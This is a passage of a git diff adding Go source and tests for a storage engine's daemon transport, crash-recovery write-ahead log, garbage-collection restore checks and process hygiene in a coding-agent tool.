b/internal/cellstore/binary_test.go new file mode 100644 index 0000000000..05b11725c8 --- /dev/null +++ b/internal/cellstore/binary_test.go @@ -0,0 +1,64 @@ +package cellstore + +import ( + "os" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// fakeEngineBinary writes a script that answers every call with help text. +func fakeEngineBinary(t *testing.T, help string) string { + t.Helper() + if runtime.GOOS == "windows" { + return fakeNativeEngine(t, help) + } + path := filepath.Join(t.TempDir(), "furrow") + script := "#!/bin/sh\ncat <<'EOF'\n" + help + "\nEOF\n" + if err := os.WriteFile(path, []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return path +} + +func TestProbeAcceptsAnEngineThatKnowsTheSealFlag(t *testing.T) { + if err := probe(fakeEngineBinary(t, "Usage: hook turn-end [--cell-dir ]")); err != nil { + t.Fatal(err) + } +} + +func TestProbeNamesAnEngineWithoutTheSealFlag(t *testing.T) { + err := probe(fakeEngineBinary(t, "Usage: hook turn-end")) + if err == nil || !strings.Contains(err.Error(), sealFlag) { + t.Fatalf("want an error naming %s, got %v", sealFlag, err) + } +} + +func TestSealingNeverFallsBackToPath(t *testing.T) { + dir := filepath.Dir(fakeEngineBinary(t, "Usage: --cell-dir")) + t.Setenv("PATH", dir) + t.Setenv(furrow.BinaryEnvVar, "") + bin, err := sealingEngine() + if err == nil && filepath.Dir(bin) == dir { + t.Fatalf("sealed with the PATH engine %s", bin) + } +} + +func TestSealingUsesAConfiguredEngine(t *testing.T) { + bin := fakeEngineBinary(t, "Usage: --cell-dir") + t.Setenv(furrow.BinaryEnvVar, bin) + got, err := sealingEngine() + if err != nil || got != bin { + t.Fatalf("got %q, %v; want %q", got, err, bin) + } +} + +func TestSealingRefusesAConfiguredEngineThatCannotSeal(t *testing.T) { + t.Setenv(furrow.BinaryEnvVar, fakeEngineBinary(t, "Usage: hook turn-end")) + if _, err := sealingEngine(); err == nil { + t.Fatal("a stale engine was accepted") + } +} diff --git a/internal/cellstore/binding.go b/internal/cellstore/binding.go new file mode 100644 index 0000000000..e7a45dadba --- /dev/null +++ b/internal/cellstore/binding.go @@ -0,0 +1,37 @@ +package cellstore + +import ( + "context" + "fmt" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// bindTarget follows a named chat when its workspace path changes. Path-based +// legacy stores retain the engine's original routing. The binding is private +// local state; restored metadata must not redirect another chat's timeline. +func (e Engine) bindTarget(ctx context.Context, c cell.Cell, t Target) error { + if t.Timeline == "" { + return nil + } + path := filepath.Join(e.LocalDir(c), "engine-tree") + raw, err := os.ReadFile(path) + if err != nil && !os.IsNotExist(err) { + return err + } + if len(raw) > 0 && string(raw) != t.Tree { + t.CellDir = "" + if _, err := (Spawn{Binary: e.Binary, Run: e.Run}).Do(ctx, t, rebindOp{From: string(raw)}); err != nil { + return fmt.Errorf("follow chat folder: %w", err) + } + } + if string(raw) == t.Tree { + return nil + } + if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil { + return err + } + return os.WriteFile(path, []byte(t.Tree), 0600) +} diff --git a/internal/cellstore/c28kill_test.go b/internal/cellstore/c28kill_test.go new file mode 100644 index 0000000000..98021ae51e --- /dev/null +++ b/internal/cellstore/c28kill_test.go @@ -0,0 +1,151 @@ +//go:build !windows + +package cellstore + +import ( + "bufio" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestC28KillAtEveryRecordBoundary proves C28/L9/L12 with a real SIGKILL, +// including death before the group timer: intent, process group, completion, +// seal publication and WAL compaction each reopen without executing anything. +func TestC28KillAtEveryRecordBoundary(t *testing.T) { + for _, boundary := range []string{"intent", "group", "done", "turn", "compact", "resolved"} { + t.Run(boundary, func(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "calls") + binary, err := os.Executable() + if err != nil { + t.Fatal(err) + } + // The child shares the parent's test envelope. A private short ceiling + // could mistake loaded-disk startup for a C28 recovery failure. + var args = []string{"-test.run=^TestC28KilledWriter$"} + if deadline, ok := t.Deadline(); ok { + args = append(args, "-test.timeout="+time.Until(deadline).String()) + } + cmd := exec.CommandContext(t.Context(), binary, args...) + cmd.Env = append(os.Environ(), "C28_CHILD="+boundary, "C28_CELL="+c.Root, "C28_WAL="+wal) + stdout, err := cmd.StdoutPipe() + if err != nil { + t.Fatal(err) + } + cmd.Stderr = os.Stderr + if err = cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = cmd.Process.Kill() }) + scanner := bufio.NewScanner(stdout) + ready := false + for scanner.Scan() { + if scanner.Text() == "C28 ready" { + ready = true + break + } + } + if !ready { + _ = cmd.Wait() + t.Fatal("writer never reached record boundary") + } + if err = cmd.Process.Kill(); err != nil { + t.Fatal(err) + } + if err = cmd.Wait(); err == nil { + t.Fatal("writer was not killed") + } + inner := &stubExec{} + r, _ := newRecorder(t, c, inner, wal) + if inner.runs != 0 { + t.Fatal("reopen ran an external call") + } + _, rec, err := OpenWAL(wal) + if err != nil { + t.Fatal(err) + } + switch boundary { + case "intent", "group": + if len(r.Incomplete()) != 1 || len(rec.Completed) != 0 { + t.Fatalf("lost incomplete: %+v", rec) + } + if r.Incomplete()[0].MayRerun() { + t.Fatal("external intent permits rerun") + } + if boundary == "group" && len(rec.Incomplete[0].Groups) != 1 { + t.Fatal("lost process-group record") + } + case "done", "turn": + if len(rec.Completed) != 1 || string(rec.Completed[0].Stdout) != "saved once" { + t.Fatalf("lost external result: %+v", rec) + } + case "compact", "resolved": + if len(rec.Completed) != 0 || len(rec.Incomplete) != 0 { + t.Fatalf("closed record came back: %+v", rec) + } + } + if boundary == "turn" || boundary == "compact" { + head, err := Head(c) + if err != nil || head == nil || len(head.Receipt.Calls) != 1 { + t.Fatalf("lost sealed turn: %+v %v", head, err) + } + } + }) + } +} + +// TestC28KilledWriter is the subprocess side of C28's record-boundary proof. +// It blocks on its input after acknowledging the write, so only SIGKILL ends it. +func TestC28KilledWriter(t *testing.T) { + boundary := os.Getenv("C28_CHILD") + if boundary == "" { + return + } + commits.after = func(time.Duration, func()) {} + c, err := cell.OpenAt(os.Getenv("C28_CELL"), filepath.Base(os.Getenv("C28_CELL"))) + if err != nil { + t.Fatal(err) + } + w, _, err := OpenWAL(os.Getenv("C28_WAL")) + if err != nil { + t.Fatal(err) + } + w.owner = c.Root + // Keep the group clock manual here: every record is tested before any fsync. + i := Intent{V: walV, Tool: "bash", ArgsHash: "once", Started: 1, SideEffect: "external"} + must := func(err error) { + if err != nil { + t.Fatal(err) + } + } + must(w.Begin(i)) + if boundary != "intent" { + must(w.Started(i, GroupRec{PGID: 123, Start: 0, Owner: os.Getpid()})) + } + done := Executed{Call: Call{Tool: i.Tool, ArgsHash: i.ArgsHash, Started: i.Started, SideEffect: i.SideEffect}, Stdout: []byte("saved once")} + if strings.Contains(" done turn compact ", " "+boundary+" ") { + must(w.Finish(i, done)) + } + if boundary == "turn" || boundary == "compact" { + fake := &fakeEngine{} + _, err := fake.engine(t).Seal(t.Context(), c, TurnInfo{Calls: []Executed{done}}) + must(err) + } + if boundary == "compact" { + must(w.Sealed([]Executed{done})) + } + if boundary == "resolved" { + must(w.Resolve(i)) + } + fmt.Println("C28 ready") + // A parent-owned pipe stays open until its kill, without real-time sleeps. + _, _ = bufio.NewReader(os.Stdin).ReadByte() + select {} +} diff --git a/internal/cellstore/changeindex.go b/internal/cellstore/changeindex.go new file mode 100644 index 0000000000..96a7926692 --- /dev/null +++ b/internal/cellstore/changeindex.go @@ -0,0 +1,90 @@ +package cellstore + +import ( + "io/fs" + "os" + "path/filepath" + "sync" + "time" +) + +// captureIndex turns the guard's mandatory full screen into an engine change +// list. Its baseline advances only after a successful seal; a failed capture +// therefore cannot forget a change. It is local to a seat, never trusted after +// a restart, restore or a move (D3, D4). +type captureIndex struct { + mu sync.Mutex + trees map[string]map[string]fileStamp +} + +type fileStamp struct { + Size int64 + Mode fs.FileMode + At time.Time + Info fs.FileInfo +} + +type captureScan struct { + index *captureIndex + key string + before, next map[string]fileStamp + failed bool +} + +func (x *captureIndex) begin(key string) *captureScan { + if x == nil { + return nil + } + x.mu.Lock() + defer x.mu.Unlock() + return &captureScan{index: x, key: key, before: x.trees[key], next: map[string]fileStamp{}} +} + +func (s *captureScan) visit(rel string, d fs.DirEntry) { + if s == nil || rel == "." { + return + } + info, err := d.Info() + if err != nil { + s.failed = true + return + } + _ = os.SameFile(info, info) + s.next[rel] = fileStamp{info.Size(), info.Mode(), info.ModTime(), info} +} + +func (s *captureScan) changed(tree string) []string { + if s == nil || s.before == nil || s.failed { + return nil + } + out := []string{} + for name, stamp := range s.next { + before, known := s.before[name] + if !known || before.Size != stamp.Size || before.Mode != stamp.Mode || before.At != stamp.At || !os.SameFile(before.Info, stamp.Info) { + out = append(out, name) + } + } + for name := range s.before { + if _, ok := s.next[name]; !ok { + out = append(out, name) + } + } + // Git history is intentionally carried whole. The secret scanner does not + // enter .git, so its files cannot be inferred from the screen's metadata. + out = append(out, ".git") + return out +} + +func (s *captureScan) commit() { + if s == nil || s.failed { + return + } + s.index.mu.Lock() + defer s.index.mu.Unlock() + if s.index.trees == nil { + s.index.trees = map[string]map[string]fileStamp{} + } + s.index.trees[s.key] = s.next +} + +func captureKey(tree, id string) string { return filepath.Clean(tree) + "\x00" + id } diff --git a/internal/cellstore/collection.go b/internal/cellstore/collection.go new file mode 100644 index 0000000000..005ee180b1 --- /dev/null +++ b/internal/cellstore/collection.go @@ -0,0 +1,165 @@ +package cellstore + +import ( + "bytes" + "context" + "fmt" + "io" + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// CaptureForGC proves which top-level entries can be restored before gc may +// remove them (C25). Comparing a materialized snapshot also covers exclusions +// owned by the engine, rather than guessing from the harness's policy alone. +func (e Engine) CaptureForGC(ctx context.Context, c cell.Cell) (string, []string, error) { + snapshot, err := e.Capture(ctx, c) + if err != nil { + return "", nil, err + } + scratch, err := os.MkdirTemp("", "codeaf-gc-restore-") + if err != nil { + return "", nil, err + } + defer os.RemoveAll(scratch) + target := e.target(c) + target.Tree, target.CellDir = scratch, "" + // The comparison tree has its own path identity; adopting it must not move + // the chat's timeline head away from the real workspace (D1, C25). + target.Timeline = "" + if _, err := e.transport().Do(ctx, target, materializeOp{Head: snapshot}); err != nil { + return "", nil, fmt.Errorf("check gc restore: %w", err) + } + entries, err := os.ReadDir(e.tree(c)) + if err != nil { + return "", nil, err + } + // The restore takes an undo capture before it writes files back. Keep the + // policy and lockfile ancestors that explain exclusions until that capture, + // so a dependency or a user-excluded file cannot enter the undo history. + kept := map[string]bool{policyName: true} + // Ignore rules must survive until the restore's undo capture, just like + // lockfiles. Removing them while ignored output stays would capture that + // output as newly unignored work (D2, C25). + if err := filepath.WalkDir(scratch, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + name, _ := filepath.Rel(scratch, path) + first, _, _ := strings.Cut(filepath.ToSlash(name), "/") + if d.IsDir() && controlDirs[first] { + return filepath.SkipDir + } + if !d.IsDir() && d.Name() == ".gitignore" { + kept[first] = true + } + return nil + }); err != nil { + return "", nil, err + } + for _, lock := range knownLocks(c) { + first, _, _ := strings.Cut(filepath.ToSlash(lock), "/") + kept[first] = true + } + var paths []string + for _, entry := range entries { + name := entry.Name() + if controlDirs[name] || kept[name] { + continue + } + same, err := sameTree(filepath.Join(e.tree(c), name), filepath.Join(scratch, name)) + if err != nil { + return "", nil, err + } + if same { + paths = append(paths, name) + } + } + return snapshot, paths, nil +} + +// sameTree compares names, kinds, permissions and every byte, without following +// links. A partially captured directory stays whole on this computer. +func sameTree(left, right string) (bool, error) { + a, err := os.Lstat(left) + if err != nil { + return false, err + } + b, err := os.Lstat(right) + if os.IsNotExist(err) { + return false, nil + } + if err != nil { + return false, err + } + if a.Mode() != b.Mode() { + return false, nil + } + switch { + case a.IsDir(): + aa, err := os.ReadDir(left) + if err != nil { + return false, err + } + bb, err := os.ReadDir(right) + if err != nil { + return false, err + } + if len(aa) != len(bb) { + return false, nil + } + for i := range aa { + if aa[i].Name() != bb[i].Name() { + return false, nil + } + same, err := sameTree(filepath.Join(left, aa[i].Name()), filepath.Join(right, bb[i].Name())) + if err != nil || !same { + return same, err + } + } + return true, nil + case a.Mode()&os.ModeSymlink != 0: + x, err := os.Readlink(left) + if err != nil { + return false, err + } + y, err := os.Readlink(right) + return x == y, err + case a.Mode().IsRegular(): + if a.Size() != b.Size() { + return false, nil + } + x, err := os.Open(left) + if err != nil { + return false, err + } + defer x.Close() + y, err := os.Open(right) + if err != nil { + return false, err + } + defer y.Close() + xb, yb := make([]byte, 64*1024), make([]byte, 64*1024) + for { + xn, xe := io.ReadFull(x, xb) + yn, ye := io.ReadFull(y, yb) + if !bytes.Equal(xb[:xn], yb[:yn]) { + return false, nil + } + if xe == io.EOF || xe == io.ErrUnexpectedEOF { + return ye == xe, nil + } + if xe != nil { + return false, xe + } + if ye != nil { + return false, ye + } + } + } + return false, nil +} diff --git a/internal/cellstore/daemon.go b/internal/cellstore/daemon.go new file mode 100644 index 0000000000..b8e77784bf --- /dev/null +++ b/internal/cellstore/daemon.go @@ -0,0 +1,161 @@ +package cellstore + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "net" + "path/filepath" + "sync/atomic" + "time" +) + +// wireVersion is the daemon protocol's V; every message carries it (L11). +const wireVersion = 1 + +// Daemon is the Transport that talks to the engine's long-lived process over +// its unix socket, starting it on first use. One dial per verb: the daemon, +// not the connection, is what stays warm. +type Daemon struct { + Socket string + // Binary is the engine to start the daemon from; empty means the + // configured or embedded one. + Binary string +} + +var _ Transport = Daemon{} + +type wireRequest struct { + V int `json:"V"` + ID uint64 `json:"id"` + Verb string `json:"verb"` + Target *wireTarget `json:"target,omitempty"` + Args json.RawMessage `json:"args"` +} + +type wireTarget struct { + Timeline string `json:"timeline,omitempty"` + DataDir string `json:"data_dir"` + Tree string `json:"tree"` + CellDir string `json:"cell_dir,omitempty"` +} + +type wireResponse struct { + ID uint64 `json:"id"` + Ok json.RawMessage `json:"ok"` + Err string `json:"err"` +} + +var nextID atomic.Uint64 + +// Do implements Transport. Any failure before the daemon has answered is +// ErrUnavailable; an answer that is an error is the engine's own. +func (d Daemon) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + conn, err := d.connect(ctx) + if err != nil { + return nil, unavailable(err) + } + defer conn.Close() + // The watch on ctx starts before the health check, so a cancelled take + // frees a check that is waiting on a daemon that never answers. + stop := context.AfterFunc(ctx, func() { conn.Close() }) + defer stop() + if err := d.verify(conn); err != nil { + return nil, unavailable(err) + } + response, err := exchange(conn, newRequest(t, op)) + if err != nil { + return nil, unavailable(err) + } + if response.Err != "" { + return nil, fmt.Errorf("engine %s: %s", op.Verb(), response.Err) + } + return response.Ok, nil +} + +// verify is the once-per-dial check that the daemon behind the socket is this +// engine and not a stale one from before an upgrade: any other identity is +// treated as no daemon at all, so the caller falls back to spawning. It only +// checks when the engine's name is known (d.Binary set). +func (d Daemon) verify(conn net.Conn) error { + if d.Binary == "" { + return nil + } + _ = conn.SetDeadline(time.Now().Add(healthWait)) + response, err := exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "health"}) + _ = conn.SetDeadline(time.Time{}) // the verb itself may take as long as it needs + if err != nil { + return err + } + var health struct{ Engine string } + _ = json.Unmarshal(response.Ok, &health) + if want := filepath.Base(d.Binary); health.Engine != want { + return fmt.Errorf("daemon is engine %q, want %q", health.Engine, want) + } + return nil +} + +// healthWait is how long a daemon has to answer the health check. The check is +// one line each way on a local socket, so a daemon that takes longer is wedged; +// it is then treated as no daemon and the verb falls back to a spawned engine, +// where without this bound a caller with no deadline of its own waited for ever. +var healthWait = 5 * time.Second + +// Stop asks the daemon to finish what it is doing and exit. A daemon that is +// not running is already stopped. +func (d Daemon) Stop(ctx context.Context) error { + conn, err := dial(ctx, d.Socket) + if err != nil { + return nil + } + defer conn.Close() + _, err = exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "shutdown"}) + return err +} + +func unavailable(err error) error { return fmt.Errorf("%w: %v", ErrUnavailable, err) } + +func newRequest(t Target, op Op) wireRequest { + args, _ := json.Marshal(op) // an Op is plain data + return wireRequest{ + V: wireVersion, ID: nextID.Add(1), Verb: op.Verb(), Args: args, + Target: &wireTarget{DataDir: t.DataDir, Tree: t.Tree, CellDir: t.CellDir, Timeline: t.Timeline}, + } +} + +// exchange sends one request and reads its answer. +func exchange(conn net.Conn, req wireRequest) (wireResponse, error) { + line, err := json.Marshal(req) + if err != nil { + return wireResponse{}, err + } + if _, err := conn.Write(append(line, '\n')); err != nil { + return wireResponse{}, err + } + reply, err := bufio.NewReader(conn).ReadBytes('\n') + if err != nil { + return wireResponse{}, err + } + var response wireResponse + if err := json.Unmarshal(reply, &response); err != nil { + return wireResponse{}, err + } + if response.ID != req.ID { + return wireResponse{}, fmt.Errorf("answer %d is not for request %d", response.ID, req.ID) + } + return response, nil +} + +// connect dials the daemon, starting it when nothing listens. +func (d Daemon) connect(ctx context.Context) (net.Conn, error) { + if conn, err := dial(ctx, d.Socket); err == nil { + return conn, nil + } + return startAndDial(ctx, d) +} + +func dial(ctx context.Context, socket string) (net.Conn, error) { + var dialer net.Dialer + return dialer.DialContext(ctx, "unix", socket) +} diff --git a/internal/cellstore/daemon_native_windows_test.go b/internal/cellstore/daemon_native_windows_test.go new file mode 100644 index 0000000000..3c21fedff2 --- /dev/null +++ b/internal/cellstore/daemon_native_windows_test.go @@ -0,0 +1,74 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// TestK2WindowsDaemonLifecycle proves K2 with the native engine: short profile +// socket, a stale endpoint, repeated AF_UNIX calls, and reaping only our child. +func TestK2WindowsDaemonLifecycle(t *testing.T) { + bin, configured, err := furrowbin.ConfiguredBinary() + if err != nil || !configured { + t.Fatalf("K2 needs the runner's native engine: %v", err) + } + dir, err := os.MkdirTemp("", "cw") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { StopSpawned(); os.RemoveAll(dir) }) + t.Setenv("LOCALAPPDATA", dir) + socket := socketFor(bin) + if len([]byte(socket)) >= 108 || !strings.Contains(socket, "codeaf") { + t.Fatalf("K2 socket path %q (%d bytes)", socket, len(socket)) + } + if err := os.MkdirAll(filepath.Dir(socket), 0700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(socket, []byte("stale endpoint"), 0600); err != nil { + t.Fatal(err) + } + d := Daemon{Binary: bin, Socket: socket} + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + start := time.Now() + conn, err := d.connect(ctx) + if err != nil { + t.Fatal(err) + } + conn.Close() + t.Logf("K2 cold daemon connect: %s; socket %d bytes", time.Since(start), len(socket)) + for i := 0; i < 3; i++ { + start = time.Now() + conn, err := d.connect(ctx) + if err != nil { + t.Fatal(err) + } + if err := d.verify(conn); err != nil { + t.Fatal(err) + } + conn.Close() + t.Logf("K2 warm health %d: %s", i, time.Since(start)) + } + spawnedMu.Lock() + all := append([]spawnedDaemon(nil), spawned...) + spawnedMu.Unlock() + StopSpawned() + for _, child := range all { + select { + case <-child.exited: + default: + t.Fatal("K2 child was not reaped") + } + } + if conn, err := dial(ctx, socket); err == nil { + conn.Close() + t.Fatal("K2 stopped child still listens") + } +} diff --git a/internal/cellstore/daemon_test.go b/internal/cellstore/daemon_test.go new file mode 100644 index 0000000000..75a57a1ae8 --- /dev/null +++ b/internal/cellstore/daemon_test.go @@ -0,0 +1,188 @@ +package cellstore + +import ( + "bufio" + "context" + "encoding/json" + "errors" + "net" + "os" + "path/filepath" + "runtime" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +type fixedTransport struct { + out string + err error + calls int +} + +func (f *fixedTransport) Do(context.Context, Target, Op) ([]byte, error) { + f.calls++ + return []byte(f.out), f.err +} + +// Only an absent engine is answered by the next transport; an engine that ran +// and refused is an answer, and running the verb again elsewhere could do it twice. +func TestFallbackAnswersOnlyForAbsence(t *testing.T) { + refusal := errors.New("engine refused") + cases := map[string]struct { + primary error + calls int + want string + wantErr error + }{ + "answered": {nil, 0, "primary", nil}, + "unavailable": {ErrUnavailable, 1, "secondary", nil}, + "refused": {refusal, 0, "primary", refusal}, + } + for name, tc := range cases { + primary := &fixedTransport{out: "primary", err: tc.primary} + secondary := &fixedTransport{out: "secondary"} + out, err := Fallback{primary, secondary}.Do(context.Background(), Target{}, snapOp{}) + if string(out) != tc.want || !errors.Is(err, tc.wantErr) || secondary.calls != tc.calls { + t.Errorf("%s: got %q, %v with %d fallback calls", name, out, err, secondary.calls) + } + } +} + +func TestTransportForPicksTheDaemonUnlessToldOtherwise(t *testing.T) { + if _, ok := transportFor("", nil).(Fallback); !ok { + t.Error("the default is the daemon with the spawn behind it") + } + if _, ok := transportFor("", func(context.Context, string, []string, ...string) ([]byte, error) { return nil, nil }).(Spawn); !ok { + t.Error("a caller's own Runner must see every spawn") + } + t.Setenv(daemonEnv, "0") + if _, ok := transportFor("", nil).(Spawn); !ok { + t.Errorf("%s=0 must turn the daemon off", daemonEnv) + } +} + +func TestDaemonStartsOnDemandAndStops(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + d := daemonFor(t, bin).(Daemon) + if _, err := os.Stat(d.Socket); err == nil { + t.Fatal("the daemon is up before anyone asked") + } + c := newCell(t) + e := Engine{Binary: bin, DataRoot: t.TempDir(), Transport: d} + for i := 0; i < 2; i++ { + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}); err != nil { + t.Fatal(err) + } + } + if _, err := os.Stat(d.Socket); err != nil { + t.Fatalf("no daemon after two seals: %v", err) + } + if err := d.Stop(context.Background()); err != nil { + t.Fatal(err) + } +} + +// A program that is not an engine cannot become a daemon: the daemon transport +// says it is unavailable, promptly, and the fallback carries on. +func TestDaemonOfANonEngineIsUnavailable(t *testing.T) { + false_, err := filepath.Abs("/bin/false") + if err != nil { + t.Fatal(err) + } + d := Daemon{Socket: testSocket(t), Binary: false_} + _, err = d.Do(context.Background(), Target{}, snapOp{}) + if !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } +} + +// Two engine builds never share a daemon: the socket is named after the binary. +func TestSocketIsKeyedToTheEngineBinary(t *testing.T) { + a := socketFor("/x/furrow-0.1.0-aaaaaaaaaaaa") + b := socketFor("/x/furrow-0.1.0-bbbbbbbbbbbb") + if a == b || (runtime.GOOS != "windows" && filepath.Base(a) != "engine-0.1.0-aaaaaaaaaaaa.sock") { + t.Errorf("sockets %q and %q must differ by build", a, b) + } +} + +// serveHealth answers every request on socket as a daemon of the named engine. +func serveHealth(t *testing.T, socket, engine string) { + ln, err := net.Listen("unix", socket) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { ln.Close() }) + go func() { + for { + conn, err := ln.Accept() + if err != nil { + return + } + var req wireRequest + line, _ := bufio.NewReader(conn).ReadBytes('\n') + _ = json.Unmarshal(line, &req) + ok, _ := json.Marshal(map[string]string{"engine": engine}) + reply, _ := json.Marshal(wireResponse{ID: req.ID, Ok: ok}) + conn.Write(append(reply, '\n')) + conn.Close() + } + }() +} + +// A daemon of another engine build is not used: the verb goes to the spawn. +func TestDaemonOfAnotherEngineIsNotUsed(t *testing.T) { + socket := testSocket(t) + serveHealth(t, socket, "furrow-0.0.9-oldoldoldold") + d := Daemon{Socket: socket, Binary: "/x/furrow-0.1.0-newnewnewnew"} + if _, err := d.Do(context.Background(), Target{}, snapOp{}); !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } + spawned := &fixedTransport{out: "spawned"} + out, err := Fallback{d, spawned}.Do(context.Background(), Target{}, snapOp{}) + if err != nil || string(out) != "spawned" || spawned.calls != 1 { + t.Fatalf("got %q, %v with %d spawns", out, err, spawned.calls) + } +} + +// A daemon that accepts the connection and never answers the health check is +// wedged. The verb must give up on it as unavailable within the health bound, +// so the spawned engine behind it gets the work, instead of a caller without a +// deadline of its own (the home screen's takeover) waiting for ever. +func TestWedgedDaemonIsUnavailableWithinTheHealthBound(t *testing.T) { + old := healthWait + healthWait = 100 * time.Millisecond + t.Cleanup(func() { healthWait = old }) + sock := testSocket(t) + ln, err := net.Listen("unix", sock) + if err != nil { + t.Fatal(err) + } + defer ln.Close() + go func() { // accepts, reads nothing, answers nothing + for { + conn, err := ln.Accept() + if err != nil { + return + } + defer conn.Close() + } + }() + done := make(chan error, 1) + go func() { + _, err := Daemon{Socket: sock, Binary: "/x/furrow"}.Do(context.Background(), Target{}, snapOp{}) + done <- err + }() + select { + case err := <-done: + if !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } + case <-time.After(5 * time.Second): + t.Fatal("a daemon that never answers the health check held the verb for 5 s") + } +} diff --git a/internal/cellstore/daemon_windows.go b/internal/cellstore/daemon_windows.go new file mode 100644 index 0000000000..6edd0dde41 --- /dev/null +++ b/internal/cellstore/daemon_windows.go @@ -0,0 +1,56 @@ +package cellstore + +import ( + "golang.org/x/sys/windows" + "os" + "os/exec" + "sync" + "syscall" +) + +// configureDaemonCommand keeps a native engine alive after its chat closes, +// without opening a console window for every background start (K2). +func configureDaemonCommand(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{ + CreationFlags: windows.CREATE_NEW_PROCESS_GROUP | windows.CREATE_NO_WINDOW, + HideWindow: true, + } +} + +// sealInheritedDescriptors is unnecessary on Windows: os/exec passes only its +// explicitly listed handles, and the daemon has no extra handles (K2). +func sealInheritedDescriptors() {} + +type spawnedDaemon struct { + process *os.Process + exited <-chan struct{} +} + +var ( + spawnedMu sync.Mutex + spawned []spawnedDaemon +) + +func remember(process *os.Process, exited <-chan struct{}) { + spawnedMu.Lock() + defer spawnedMu.Unlock() + spawned = append(spawned, spawnedDaemon{process: process, exited: exited}) +} + +// StopSpawned reaps only this process's children. Windows has no SIGTERM; +// ordinary idle shutdown and Daemon.Stop use the engine's protocol (K2). +func StopSpawned() { + spawnedMu.Lock() + all := spawned + spawned = nil + spawnedMu.Unlock() + for _, d := range all { + select { + case <-d.exited: + continue + default: + } + _ = d.process.Kill() + <-d.exited + } +} diff --git a/internal/cellstore/daemonhygiene.go b/internal/cellstore/daemonhygiene.go new file mode 100644 index 0000000000..99c25b5f16 --- /dev/null +++ b/internal/cellstore/daemonhygiene.go @@ -0,0 +1,85 @@ +//go:build !windows + +package cellstore + +import ( + "os" + "os/exec" + "strconv" + "sync" + "syscall" + "time" +) + +// sealInheritedDescriptors marks every descriptor above stderr close-on-exec, +// so the daemon started next inherits none of them. Go opens its own files +// close-on-exec, but a descriptor this process was handed by its parent (a +// lock held by a wrapper script, a pipe from a harness) arrives without the +// flag, and os/exec passes it on to every child. A daemon that outlives its +// caller would then hold that lock for as long as it lives. +func sealInheritedDescriptors() { + for _, dir := range []string{"/proc/self/fd", "/dev/fd"} { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, entry := range entries { + if fd, err := strconv.Atoi(entry.Name()); err == nil && fd > 2 { + syscall.CloseOnExec(fd) + } + } + return + } +} + +// spawnedDaemon is a daemon this process started and has not seen exit. +type spawnedDaemon struct { + process *os.Process + exited <-chan struct{} +} + +var ( + spawnedMu sync.Mutex + spawned []spawnedDaemon +) + +// remember records a daemon this process started, for [StopSpawned]. +func remember(process *os.Process, exited <-chan struct{}) { + spawnedMu.Lock() + defer spawnedMu.Unlock() + spawned = append(spawned, spawnedDaemon{process: process, exited: exited}) +} + +// stopGrace is how long a daemon gets to exit after SIGTERM before SIGKILL. +const stopGrace = 3 * time.Second + +// StopSpawned stops every daemon this process started and waits for each to +// exit: SIGTERM first, SIGKILL when it has not gone within [stopGrace]. The +// product never calls it, because its daemon is meant to outlive the process +// that started it; a test binary calls it at the end of its run, so that no +// engine it caused to start is left behind. +func StopSpawned() { + spawnedMu.Lock() + all := spawned + spawned = nil + spawnedMu.Unlock() + for _, d := range all { + select { + case <-d.exited: + continue + default: + } + _ = d.process.Signal(syscall.SIGTERM) + select { + case <-d.exited: + case <-time.After(stopGrace): + _ = d.process.Kill() + <-d.exited + } + } +} + +// configureDaemonCommand detaches the engine from the terminal on Unix. +func configureDaemonCommand(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{Setsid: true} +} diff --git a/internal/cellstore/daemonhygiene_test.go b/internal/cellstore/daemonhygiene_test.go new file mode 100644 index 0000000000..91653a84c7 --- /dev/null +++ b/internal/cellstore/daemonhygiene_test.go @@ -0,0 +1,110 @@ +//go:build !windows + +package cellstore + +import ( + "bytes" + "os" + "path/filepath" + "strconv" + "syscall" + "testing" + "time" +) + +// idlingEngine writes a program that idles like a daemon and exits on SIGTERM, +// and answers its path. +func idlingEngine(t *testing.T, dir string) string { + t.Helper() + path := filepath.Join(dir, "furrow-0.0.0-fake") + script := "#!/bin/sh\ntrap 'kill $!' TERM\nsleep 60 &\nwait\n" + if err := os.WriteFile(path, []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return path +} + +// aliveUnder lists the live processes whose command line mentions dir. +func aliveUnder(dir string) []int { + var pids []int + entries, _ := os.ReadDir("/proc") + for _, entry := range entries { + raw, err := os.ReadFile(filepath.Join("/proc", entry.Name(), "cmdline")) + if err != nil || !bytes.Contains(raw, []byte(dir)) { + continue + } + if stat, _ := os.ReadFile(filepath.Join("/proc", entry.Name(), "stat")); 